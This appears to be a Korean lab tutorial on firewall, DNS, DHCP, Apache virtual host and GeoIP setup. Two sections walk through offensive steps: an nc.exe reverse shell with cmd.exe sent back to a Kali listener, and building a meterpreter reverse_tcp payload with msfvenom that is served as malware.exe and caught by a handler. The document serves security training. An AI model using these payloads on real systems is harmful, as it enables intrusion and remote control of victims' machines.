게이트웨이: 172.16.10.253
DNS 서버: 172.16.10.253   &lt;-- 168.126.63.1 -&gt; 172.16.101.253 으로 변경한다.
[X] 자동으로 연결

[root@web1 ~]# systemctl restart network
[root@web1 ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
search linuxmaster.net
nameserver 172.16.10.253


naver.com, daum.net의 도메인을 확인한다.
도메인의 IP주소가 잘 나오면 설정이 잘 된 것이다.

[root@web1 ~]# dig daum.net +short
121.53.105.193
211.249.220.24

[root@web1 ~]# dig naver.com +short
223.130.195.95
223.130.200.107
223.130.200.104
223.130.195.200
</code></pre><blockquote>
<p><strong>실습&gt; DHCP 서버 설정</strong></p>
</blockquote>
<pre><code>DHCP(Dynamic Host Configuration Protocol) 는 
클라이언트가 DHCP 서버로 부터 IP주소를 요청하면 서버가 IP주소를 
클라이언트에게 할당해서 네트워크를 자동으로 설정하게 하는 프로토콜이다.

C                  S
DHCP Discover(Broadcast)
---------------------&gt;  네트워크 정보를 받기 위해서 동일 네트워크에 DHCP 서버를 찾는 패킷
DHCP Offer (Broadcast or Unicast)
&lt;---------------------  Discover 패킷을 받은 DHCP 서버가 호스트에게 네트워크 정보에 대해 제안을 요청하는 패킷
DHCP Request (Broadcast or Unicast)
----------------------&gt; Offer 패킷으로 전달된 네트워크 정보 이용 시 해당 정보에 대한 사용 요청을 보내는 패킷
DHCP Acknowledgement (Broadcast or Unicast)
&lt;---------------------  서버에서 확인했음을 알려주는 패킷

1. VMware 네트워크 설정
vmnetcfg.exe를 실행해서 VMnet1 DHCP 기능을 중지한다.

2. DHP 서버 설정
UTM에서 DHCP Server를 설정한다.

[Network Services] &gt; [DHCP] &gt; [+ New DHCP Server...]

Add DHCP Server
Interface: Internal
Range start: 192.168.10.100  &lt;-- IP의 시작 주소
Range end: 192.168.10.200    &lt;-- IP의 끝 주소
DNS server 1: 192.168.10.253 &lt;-- DNS가 안되는 분들은 168.126.63.1로 설정
DNS server 2: x
Default gateway: 192.168.10.253
Domain:    x
Lease time:    600  &lt;-- 테스트이므로 임대시간을 600초로 한다. (실제 운영할 때의 설정은 많이 잡아준다.)
Comment: DHCP 서버 설정


3. 라이브 로그 모니터링
[Network Services] &gt; [DHCP] &gt; [Open Live Log] 를 클릭해서 로그를 확인한다.
Live Log: DHCP server 

4. 윈도우 설정
Win7 or WinXP 가 부팅 시 DHCP 서버로 부터 IP주소를 요청해서 할당을 받는다.

Win7 or WinXP 의 네트워크를 아래처럼 설정한다.
- 자동으로 IP 주소 받기
- 자동으로 DNS 서버 주소 받기 

설정 후 Win7 or WinXP 를 재부팅한다.
C:\&gt; shutdown /r /t 0

만약 IP주소를 192.168.10.128로 받으면 VMware 에서 IP주소를 받은 것이므로 vmnetcfg.exe 에서 
어댑터를 DHCP 사용 안함으로 변경한다. (아래 체크박스를 해제한다.)
[ ] Use local DHCP service to distribute IP address to VMs

C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-FB-2E-E9
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.10.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253
        DHCP Server . . . . . . . . . . . : 192.168.10.253
        DNS Servers . . . . . . . . . . . : 192.168.10.253
        Lease Obtained. . . . . . . . . . : 2023년 4월 13일 목요일 오후 1:58:31
        Lease Expires . . . . . . . . . . : 2023년 4월 13일 목요일 오후 2:08:31


5. 라이브 로그 확인
Win XP가 DHCP로 네트워크 정보를 받아올 때 DHCP 라이브 로그에는 아래처럼 로그가 기록된다.

[Network Services] &gt; [DHCP] &gt; [Open Live Log]

Live Log: DHCP server 
2023:04:13-12:39:10 utm9 dhcpd: PID file: /var/run/dhcpd.pid
2023:04:13-12:39:10 utm9 dhcpd: Internet Systems Consortium DHCP Server 4.3.3-P1
2023:04:13-12:39:10 utm9 dhcpd: Copyright 2004-2016 Internet Systems Consortium.
2023:04:13-12:39:10 utm9 dhcpd: All rights reserved.
2023:04:13-12:39:10 utm9 dhcpd: For info, please visit https://www.isc.org/software/dhcp/
2023:04:13-12:39:10 utm9 dhcpd: Wrote 0 leases to leases file.
2023:04:13-12:39:10 utm9 dhcpd: Listening on LPF/eth1/00:0c:29:7e:8e:6a/192.168.10.0/24
2023:04:13-12:39:10 utm9 dhcpd: Sending on LPF/eth1/00:0c:29:7e:8e:6a/192.168.10.0/24
2023:04:13-12:39:10 utm9 dhcpd: Sending on Socket/fallback/fallback-net
2023:04:13-12:39:10 utm9 dhcpd: Server starting service.
2023:04:13-12:43:05 utm9 dhcpd: DHCPDISCOVER from 00:0c:29:fb:2e:e9 via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPOFFER on 192.168.10.105 to 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPREQUEST for 192.168.10.105 (192.168.10.253) from 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPACK on 192.168.10.105 to 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:08 utm9 dhcpd: reuse_lease: lease age 2 (secs) under 25% threshold, reply with unaltered, existing lease

6. Windows XP 통신 설정
UTM 장비에서 Windows XP 외부와 통신이 될 수 있도록 설정한다.

내부망 WinXP 통신 연결: Disabled

Clone 을 클릭해서 복사한다.
Add Rule    
Group: :: Please select ::
Position: 3
Sources: Internal (Network)
Services: Any
Destinations: Any
Action:    Allow
Comment: 내부망 통신 연결
Advanced        
Time period: &lt;&lt; Always &gt;&gt;
Log traffic: X            
Source MAC addresses: :: None ::

저장한 후 Enabled로  설정하고 통신 연결을 확인한다.

C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=49ms TTL=127
Reply from 8.8.8.8: bytes=32 time=50ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=50ms TTL=127

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 48ms, Maximum = 50ms, Average = 49ms

C:\&gt;nslookup naver.com
*** Can&#39;t find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.195.200, 223.130.200.107, 223.130.195.95, 223.130.200.104

7. 복원
테스트가 잘 되었다면 원래대로 IP주소를 설정한다.
Internal WinxP를 아래와 같이 설정한다.
VMnet: VMnet1
IP주소: 192.168.10.105
서브넷마스크: 255.255.255.0
게이트웨이: 192.168.10.253
DNS: 192.168.10.253
</code></pre><blockquote>
<p><strong>실습&gt; 도메인 추가 설정하기</strong></p>
</blockquote>
<pre><code>server1.kr ~ server4.kr 까지 UTM 네임서버에서 등록한다.

1. DNS 서버 등록
DNS서버의 허용할 네트워크나 호스트를 추가한다.

[Network Services] &gt; [DNS] &gt; [Global]

Allowed Networks
- Internal (Network)
- DMZ(Network)

내부망의 호스트와 DMZ의 WEB#1의 DNS서버를 아래처럼 변경한다.
Win7 or WinXP: 192.168.10.253 
WEB#1: 172.16.10.253 

2. 도메인 등록
도메인을 아래처럼 등록한다.
도메인 등록 : 
server1.kr, www.server1.kr server2.kr, www.server2.kr, server3.kr, www.server3.kr, server4.kr, www.server4.kr  

[Network Services] &gt; [DNS] &gt; [Static Entries] &gt; [Static Entries] 버튼을 클릭하면

[Definitions &amp; Users] &gt; [Network Definitions] 메뉴로 이동한다.

[Definitions &amp; Users] &gt; [Network Definitions] 메뉴로 직접 이동해서 IP Desc 로 검색하거나

검색 부분에서 All 로 선택한다.

WEB#1 부분에 Edit 버튼을 클릭한다.
WEB#1 -&gt; Edit 

Edit Network Definition    
Name: WEB#1
Type: Host
IPv4 address: 172.16.10.101
DHCP Settings: x        
DNS Settings:
    - Hostname: server1.kr
    - Reverse DNS: 체크 안함
    - Additional Hostnames:
      - www.server1.kr   Apply 버튼을 클릭한다.
      - server2.kr       Apply 버튼을 클릭한다.
      - www.server2.kr   Apply 버튼을 클릭한다.
      - server3.kr       Apply 버튼을 클릭한다.
      - www.server3.kr   Apply 버튼을 클릭한다.
      - server4.kr       Apply 버튼을 클릭한다.
      - www.server4.kr   Apply 버튼을 클릭한다.

Comment: DMZ 웹서버#1
Advanced: 체크 안함

Save 버튼을 클릭해서 설정한 내용을 저장한다.

3. 도메인 확인
Win7, WinXP, WEB#1에서 도메인을 확인한다.

Windows XP에서 도메인을 확인한다.
C:\&gt;nslookup
*** Can&#39;t find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Default Server:  UnKnown
Address:  192.168.10.253

&gt; server1.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server1.kr
Address:  172.16.10.101

&gt; www.server1.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server1.kr
Address:  172.16.10.101

&gt; server2.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server2.kr
Address:  172.16.10.101

&gt; www.server2.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server2.kr
Address:  172.16.10.101

&gt; server3.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server3.kr
Address:  172.16.10.101

&gt; www.server3.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server3.kr
Address:  172.16.10.101

&gt; server4.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server4.kr
Address:  172.16.10.101

&gt; www.server4.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server4.kr
Address:  172.16.10.101

등록된 도메인이 아니므로 에러가 발생한다.
&gt; server5.kr
Server:  UnKnown
Address:  192.168.10.253

*** UnKnown can&#39;t find server5.kr: Non-existent domain

등록된 도메인이 아니므로 에러가 발생한다.
&gt; server6.kr
Server:  UnKnown
Address:  192.168.10.253

*** UnKnown can&#39;t find server6.kr: Non-existent domain

&gt; exit

리눅스에서 도메인을 확인한다.
[root@web1 ~]# for i in 1 2 3 4
do 
    echo dig server${i}.kr www.server${i}.kr +short
    dig server${i}.kr www.server${i}.kr +short
    echo
done
dig server1.kr www.server1.kr +short
172.16.10.101
172.16.10.101

dig server2.kr www.server2.kr +short
172.16.10.101
172.16.10.101

dig server3.kr www.server3.kr +short
172.16.10.101
172.16.10.101

dig server4.kr www.server4.kr +short
172.16.10.101
172.16.10.101
</code></pre><blockquote>
<p><strong>실습&gt; DMZ WEB#1 서버의 가상 호스트 설정</strong></p>
</blockquote>
<pre><code>웹서버: 아파치

***** 실습&gt; 도메인 추가 설정하기를 설정한 후 실습을 진행한다. *****
***** server1.kr ~ server4.kr 까지 UTM 네임서버에서 등록한다. *****

System 사용자 설정
User     Passwd    Group   WebDIR                      DirPerm  WebPage     FilePerm  contents
server1  P@ssw0rd  users   /home/server1/public_html   701      index.html  644       Welcome to www.server1.kr!
server2  P@ssw0rd  users   /home/server2/public_html   701      index.html  644       Welcome to www.server2.kr!
server3  P@ssw0rd  users   /home/server3/public_html   701      index.html  644       Welcome to www.server3.kr!
server4  P@ssw0rd  users   /home/server4/public_html   701      index.html  644       Welcome to www.server4.kr!

DBMS 사용자 설정 (MariaDB)
User     Passwd    Database
server1  P@ssw0rd  Server1DB
server2  P@ssw0rd  Server2DB
server3  P@ssw0rd  Server3DB
server4  P@ssw0rd  Server4DB

1. APM 설치
[root@web1 ~]# yum -y install httpd php php-mysql mariadb mariadb-server \
  php-gd gd gd-devel libjpeg libjpeg-devel giflib giflib-devel libpng libpng-devel freetype freetype-devel
[root@web1 ~]# systemctl enable httpd
[root@web1 ~]# systemctl enable mariadb

[root@web1 ~]# vi /etc/httpd/conf.d/php.conf 
&lt;FilesMatch \.(php|html)$&gt;
    SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
DirectoryIndex index.php 

[root@web1 ~]# vi /etc/php.ini 
date.timezone = Asia/Seoul  &lt;-- 878번 라인
short_open_tag = On         &lt;-- 211번 라인
expose_php = Off            &lt;-- 375번 라인
display_errors = Off        &lt;-- 478번 라인

[root@web1 ~]# systemctl restart httpd

[root@web1 ~]# vi /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
symbolic-links=0
collation-server=utf8_general_ci
character-set-server=utf8
skip-character-set-client-handshake
bind-address=127.0.0.1

[root@web1 ~]# systemctl start mariadb

[root@web1 ~]# mysqladmin -u root -p password 
Enter password:  &lt;-- 현재 비밀번호가 없으므로 그냥 엔터 
New password:    &lt;-- P@ssw0rd
Confirm new password:  &lt;-- P@ssw0rd

[root@web1 ~]# cd
[root@web1 ~]# vi .my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd

2. DB 설정

[root@web1 ~]# mysql mysql

DELETE FROM user WHERE password = &#39;&#39;;
flush privileges;

CREATE DATABASE server1DB;
CREATE USER server1@localhost IDENTIFIED BY &#39;P@ssw0rd&#39;;
GRANT ALL PRIVILEGES ON server1DB.* TO server1@localhost;

CREATE DATABASE server2DB;
CREATE USER server2@localhost IDENTIFIED BY &#39;P@ssw0rd&#39;;
GRANT ALL PRIVILEGES ON server2DB.* TO server2@localhost;

CREATE DATABASE server3DB;
CREATE USER server3@localhost IDENTIFIED BY &#39;P@ssw0rd&#39;;
GRANT ALL PRIVILEGES ON server3DB.* TO server3@localhost;

CREATE DATABASE server4DB;
CREATE USER server4@localhost IDENTIFIED BY &#39;P@ssw0rd&#39;;
GRANT ALL PRIVILEGES ON server4DB.* TO server4@localhost;

SELECT host,user,password FROM user;
SHOW DATABASES;


3. 시스템 사용자 설정
[root@web1 ~]# mkdir -m 701 /etc/skel/public_html
[root@web1 ~]# for i in `seq 1 4`
do
    echo useradd -g users server${i}
    useradd -g users server${i}
    echo &#39;P@ssw0rd&#39; | passwd --stdin server${i}
done


4. 디렉터리 권한 변경
웹 사용자인 apache는 사용자 디렉터리에 접근할 수 있고 각 사용자는 자신의 디렉터리 이외에 
다른 디렉터리에는 접근할 수 없도록 설정한다.
[root@web1 ~]# chmod -c o+x /home/server[1-4]

[root@web1 ~]# ls -ld /home/server[1-4]
drwx-----x. 3 server1 users 81  2월 26 21:04 /home/server1
drwx-----x. 3 server2 users 81  2월 26 21:04 /home/server2
drwx-----x. 3 server3 users 81  2월 26 21:04 /home/server3
drwx-----x. 3 server4 users 81  2월 26 21:04 /home/server4

5. 웹페이지 생성
su - server1 -c &#39;echo Welcome to www.server1.kr! &gt; ~server1/public_html/index.html&#39;
su - server2 -c &#39;echo Welcome to www.server2.kr! &gt; ~server2/public_html/index.html&#39;
su - server3 -c &#39;echo Welcome to www.server3.kr! &gt; ~server3/public_html/index.html&#39;
su - server4 -c &#39;echo Welcome to www.server4.kr! &gt; ~server4/public_html/index.html&#39;
ls -l /home/server[1-4]/public_html/index.html
-rw-r--r--. 1 server1 users 26 10월  5 11:38 /home/server1/public_html/index.html
-rw-r--r--. 1 server2 users 26 10월  5 11:38 /home/server2/public_html/index.html
-rw-r--r--. 1 server3 users 26 10월  5 11:38 /home/server3/public_html/index.html
-rw-r--r--. 1 server4 users 26 10월  5 11:38 /home/server4/public_html/index.html

6. SELinux 설정
[root@web1 ~]# chcon -Rt httpd_sys_content_t /home/server[1-4]/public_html 

7. 가상호스트 설정
[root@web1 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

&lt;VirtualHost *:80&gt;
    ServerAdmin   webmaster@server1.kr
    DocumentRoot  /home/server1/public_html
    ServerName    server1.kr 
    ServerAlias   www.server1.kr 
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
    ServerAdmin   webmaster@server2.kr
    DocumentRoot  /home/server2/public_html
    ServerName    server2.kr
    ServerAlias   www.server2.kr
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
    ServerAdmin   webmaster@server3.kr
    DocumentRoot  /home/server3/public_html
    ServerName    server3.kr
    ServerAlias   www.server3.kr
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
    ServerAdmin   webmaster@server4.kr
    DocumentRoot  /home/server4/public_html
    ServerName    server4.kr
    ServerAlias   www.server4.kr
&lt;/VirtualHost&gt;

[root@web1 ~]# httpd -t
[root@web1 ~]# httpd -S
[root@web1 ~]# systemctl restart httpd

8. 도메인 확인
Win7, WinXP, WEB#1에서 도메인을 확인한다.
[root@web1 ~]# yum -y install lynx

[root@web1 ~]# getenforce 
Enforcing

[root@web1 ~]# for i in `seq 4`
do
    echo lynx --dump server${i}.kr
    lynx --dump server${i}.kr
    echo lynx --dump www.server${i}.kr
    lynx --dump www.server${i}.kr

done
lynx --dump server1.kr
   Welcome to www.server1.kr!

lynx --dump www.server1.kr
   Welcome to www.server1.kr!

lynx --dump server2.kr
   Welcome to www.server2.kr!

lynx --dump www.server2.kr
   Welcome to www.server2.kr!

lynx --dump server3.kr
   Welcome to www.server3.kr!

lynx --dump www.server3.kr
   Welcome to www.server3.kr!

lynx --dump server4.kr
   Welcome to www.server4.kr!

lynx --dump www.server4.kr
   Welcome to www.server4.kr!


Windows XP에서 동일하게 접속해서 페이지가 잘 나오는지 확인한다.
http://server1.kr
Welcome to www.server1.kr!

http://www.server1.kr
Welcome to www.server1.kr!

http://server2.kr
Welcome to www.server2.kr!

http://www.server2.kr
Welcome to www.server2.kr!

http://server3.kr
Welcome to www.server3.kr!

http://www.server3.kr
Welcome to www.server3.kr!

http://server4.kr
Welcome to www.server4.kr!

http://www.server4.kr
Welcome to www.server4.kr!
</code></pre><blockquote>
<p><strong>실습&gt; Internal 연결 테스트</strong></p>
</blockquote>
<pre><code>1. UTM 설정
SNAT를 설정한 후에 테스트를 진행한다.

2. nc.exe 다운로드
[root@kali ~]# cp /usr/share/windows-binaries/nc.exe /var/www/html/
[root@kali ~]# systemctl start apache2

Windows XP에서 다운로드 받고 바탕화면에 저장한다.
http://200.200.200.3/nc.exe 

3. nc 접속
Internal Windows XP에서 80번 포트로 접속을 시도하면 ???
[root@kali ~]# systemctl stop apache2
[root@kali ~]# nc -lvp 80
listening on [any] 80 ...

Windows XP에서 nc를 아래처럼 실행한다.
cmd line: 200.200.200.3 80 -e cmd.exe

[root@kali ~]# nc -lvp 80
listening on [any] 80 ...
200.200.200.200: inverse host lookup failed: Unknown host
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.200] 1167
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면&gt;dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 588F-741A

 C:\Documents and Settings\ksw\바탕 화면 디렉터리

2022-10-05  오후 09:44    &lt;DIR&gt;          .
2022-10-05  오후 09:44    &lt;DIR&gt;          ..
2016-03-22  오후 02:30             2,423 adrenalin.m3u
2016-03-22  오후 02:33             2,405 adrenalin2.m3u
2016-03-28  오후 07:19           123,197 calc_download.pcap
2022-10-05  오후 09:44            59,392 nc.exe
2016-03-28  오후 07:11    &lt;DIR&gt;          SysinternalsSuite
2016-03-28  오후 07:04             1,477 Wireshark.lnk
2016-03-28  오후 06:50             1,535 아드레날린.lnk
               6개 파일             190,429 바이트
               3개 디렉터리   7,718,817,792 바이트 남음


C:\Documents and Settings\ksw\바탕 화면&gt;exit
</code></pre><blockquote>
<p><strong>실습&gt; msfvenom 을 이용한 악성코드 작성하기</strong></p>
</blockquote>
<pre><code>metasploit의 windows/meterpreter/reverse_tcp payload는 reverse connection 을 기반으로 하고 있다.
malware.exe를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.

윈도우 버전
                +-- meterpreter shell
                |
  Attacker      |    UTM      Victim
+----------+    v    +--+   +----------+
|          |  +===+  |  |   |          |
|          |  |   |  |  |   |          |
|   4444 ----&gt;| M |&lt;-+--+----- 1017 [malware.exe]
|          |  |   |  |  |   |          |
|          |  +===+  |  |   |          |
+----------+         +--+   +----------+
200.200.200.3                192.168.10.105
                          firewall.cpl 활성화

UTM 설정: 
  Internal (Network) ----&gt; Any
    DNS, Web Surfing만 허용

-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --

1. Victim 방화벽 활성화
방화벽의 Inbound 쪽의 방화벽 룰을 설정한다.
설정 방법 : cmd -&gt; firewall.cpl -&gt; 사용으로 체크를 한다.


2. 웹서버 시작
피해자가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
[root@kali ~]# /etc/init.d/apache2 start

3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.

[root@kali ~]# ifconfig eth0
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::290a:b024:cc09:d56d  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:dc:0b:b6  txqueuelen 1000  (Ethernet)
        RX packets 294315  bytes 20661226 (19.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 293934  bytes 25076026 (23.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f    : 실행파일 형식
-o    : 악성파일 경로
-p    : 공격 페이로드

[root@kali ~]# vi malware.sh 
#!/bin/sh
# 파일명: malware.sh
# 프로그램 설명: malware.exe를 이용한 공격코드
# 작성자: 리눅스마스터넷

LHOST=200.200.200.3
LPORT=80

msfvenom -p windows/meterpreter/reverse_tcp \
lhost=$LHOST lport=$LPORT -f exe -o /var/www/html/malware.exe

[root@kali ~]# chmod 755 malware.sh
[root@kali ~]# ./malware.sh 
  :
  :(생략)

Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe


4. 악성코드 실행
Victim에서 악성코드를 다운로드만 받는다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.

http://200.200.200.3/malware.exe

5. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.

[root@kali ~]# /etc/init.d/apache2 stop

Victim XP가 malware.exe 실행할 때 접속할 수 있도록 설정을 하고 실행한다.
[root@kali ~]# vi malware.rc
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

malware.rc 를 실행해서 피해자가 접속해오길 기다린다.
[root@kali ~]# msfconsole -r malware.rc 

6. 악성코드 실행
Victim 에서 악성코드를 다운로드 받아서 실행하면 공격자의 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.

실제로 웹에 사용하는 데이터를 체크하는 것이 아니고 80번 포트이면 허용하는 것이므로 이 부분을 생각해야 한다.

[*] Started reverse TCP handler on 200.200.200.3:80
[*] Sending stage (175686 bytes) to 200.200.200.105
[*] Meterpreter session 1 opened (200.200.200.3:80 -&gt; 200.200.200.105:1104) at 2023-04-13 02:33:04 -0400

meterpreter &gt; sysinfo 
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; shell
Process 196 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면&gt;ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.10.100
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253

C:\Documents and Settings\ksw\바탕 화면&gt;exit
meterpreter &gt; exit
msf6 exploit(multi/handler) &gt; exit
</code></pre><blockquote>
<p><strong>실습&gt; 국가별 접근 차단</strong></p>
</blockquote>
<pre><code>[Network Protection] &gt; [Firewall] &gt; [Country Blocking Tab] &gt; [기능 활성화] &gt; [필터링 할 국가 정책 설정] &gt; save

[Rules] &gt; [Open Live Log] 를 이용해서 로그를 모니터링한다.

All: 양 방향 차단
From: 해당 국가 IP에서 전달되는 패킷 차단
To: 해당 국가 IP로 전달되는 패킷 차단
Off: 차단하지 않음

South America에서 Brazil을 ALL로 설정한다. 

Apply 버튼을 클릭해서 활성화 한다.

웹서버를 시작한다.
[root@kali ~]# systemctl start apache2

WindowsXP에서 웹브라우저를 열어서 접속한다.
http://200.200.200.3

페이지를 표시할 수 없습니다. 
찾고 있는 페이지는 현재 사용할 수 없습니다. 웹 사이트에 기술적인 문제가 있거나 브라우저의 설정을 변경해야 합니다. 

200.200.200.3이 접속하면 차단되는 이유는 200.200.200.x 는 브라질 IP주소이기 때문에 블로킹된 것이다.

Host OS에서 크롬에서 접속한다.
http://200.200.200.11
사이트에 연결할 수 없음200.200.200.101에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT


Open Live Log에서 확인한 로그 
15:42:45    Country blocked    TCP         192.168.10.105    :    1106 →    200.200.200.3    :    80 [SYN]    len=48    ttl=127    tos=0x00    srcmac=00:0c:29:fb:2e:e9    dstmac=00:0c:29:7e:8e:6a
15:42:48    Country blocked    TCP         192.168.10.105    :    1106 →    200.200.200.3    :    80 [SYN]    len=48    ttl=127    tos=0x00    srcmac=00:0c:29:fb:2e:e9    dstmac=00:0c:29:7e:8e:6a
15:42:54    Country blocked    TCP         192.168.10.105    :    1106 →    200.200.200.3    :    80 [SYN]    len=48    ttl=127    tos=0x00    srcmac=00:0c:29:fb:2e:e9    dstmac=00:0c:29:7e:8e:6a 
15:44:58    Country blocked    TCP         200.200.200.1    :    8634 →    172.16.10.101    :    80 [SYN]    len=52    ttl=127    tos=0x00    srcmac=00:50:56:c0:00:08    dstmac=00:0c:29:7e:8e:60 
15:44:58    Country blocked    TCP         200.200.200.1    :    8635 →    172.16.10.101    :    80 [SYN]    len=52    ttl=127    tos=0x00    srcmac=00:50:56:c0:00:08    dstmac=00:0c:29:7e:8e:60
  :
  :(생략)
</code></pre><blockquote>
<p><strong>실습&gt; CentOS 7에서 GEOIP 설치하기</strong></p>
</blockquote>
<pre><code>&gt;&gt;&gt; 국가별 IP주소 (GEOIP) &lt;&lt;&lt;
참고로 리눅스에서 국가별 IP 대역을 차단하고자 한다면 GeoIP 검색해서 서버에 설치한다.

설치할 때 2가지 체크를 확인한다.
- 네임서버 설정
- 국가별 차단 Disabled

[root@web1 ~]# yum -y install epel-release
[root@web1 ~]# yum -y install GeoIP GeoIP-data perl-Geo-IP GeoIP-devel


[root@web1 ~]# ls /usr/lib64/xtables/ | grep -i geoip
  &lt;-- geoip 관련 모듈이 존재하지 않으므로 아무것도 출력되지 않는다.

geoip 모듈을 이용한 방화벽 룰을 설정하면 geoip 모듈이 없으므로 에러가 발생된다.
[root@web1 ~]# iptables -A INPUT -m geoip --src-cc KR -j DROP
iptables v1.4.21: Couldn&#39;t load match `geoip&#39;:No such file or directory

Try `iptables -h&#39; or &#39;iptables --help&#39; for more information.


1. 패키지 설치
# yum -y install gcc gcc-c++ make automake unzip zip xz kernel-devel-`uname -r` iptables-devel
# yum -y install perl-Text-CSV_XS wget bzip2 libelf-dev elfutils-libelf-devel

***** 아래쪽 링크를 깨짐 ****
# wget --no-check-certificate \
https://jaist.dl.sourceforge.net/project/xtables-addons/Xtables-addons/xtables-addons-2.14.tar.xz
# tar xvf xtables-addons-2.14.tar.xz
***** 아래쪽 링크를 깨짐 ****

[root@web1 ~]# wget --no-check-certificate https://inai.de/files/xtables-addons/xtables-addons-2.14.tar.xz
[root@web1 ~]# tar xJf xtables-addons-2.14.tar.xz
[root@web1 ~]# cd xtables-addons-2.14
[root@web1 xtables-addons-2.14]# ./configure
[root@web1 xtables-addons-2.14]# vi mconfig
#build_TARPIT=m  // 주석처리 한다.

2. 모듈 설치
컴파일한 후 모듈을 설치한다.
[root@web1 xtables-addons-2.14]# make &amp;&amp;  make install
[root@web1 xtables-addons-2.14]# ls -l /lib64/xtables/ | grep geoip
-rwxr-xr-x. 1 root root 31680  4월 13 16:24 libxt_geoip.so

GeoIPv6.csv.gz를 참고 사이트에서 직접 다운로드 한다.
[root@web1 xtables-addons-2.14]# cd geoip/
[root@web1 geoip]# wget https://files-cdn.liferay.com/mirrors/geolite.maxmind.com/download/geoip/database/GeoIPv6.csv.gz

GeoIPCountryCSV.zip를 참고 사이트에서 직접 다운로드 한다.
[root@web1 geoip]# wget https://files-cdn.liferay.com/mirrors/geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip

[root@web1 geoip]# gzip -d GeoIPv6.csv.gz
[root@web1 geoip]# unzip GeoIPCountryCSV.zip
[root@web1 geoip]# ./xt_geoip_build GeoIPCountryWhois.csv
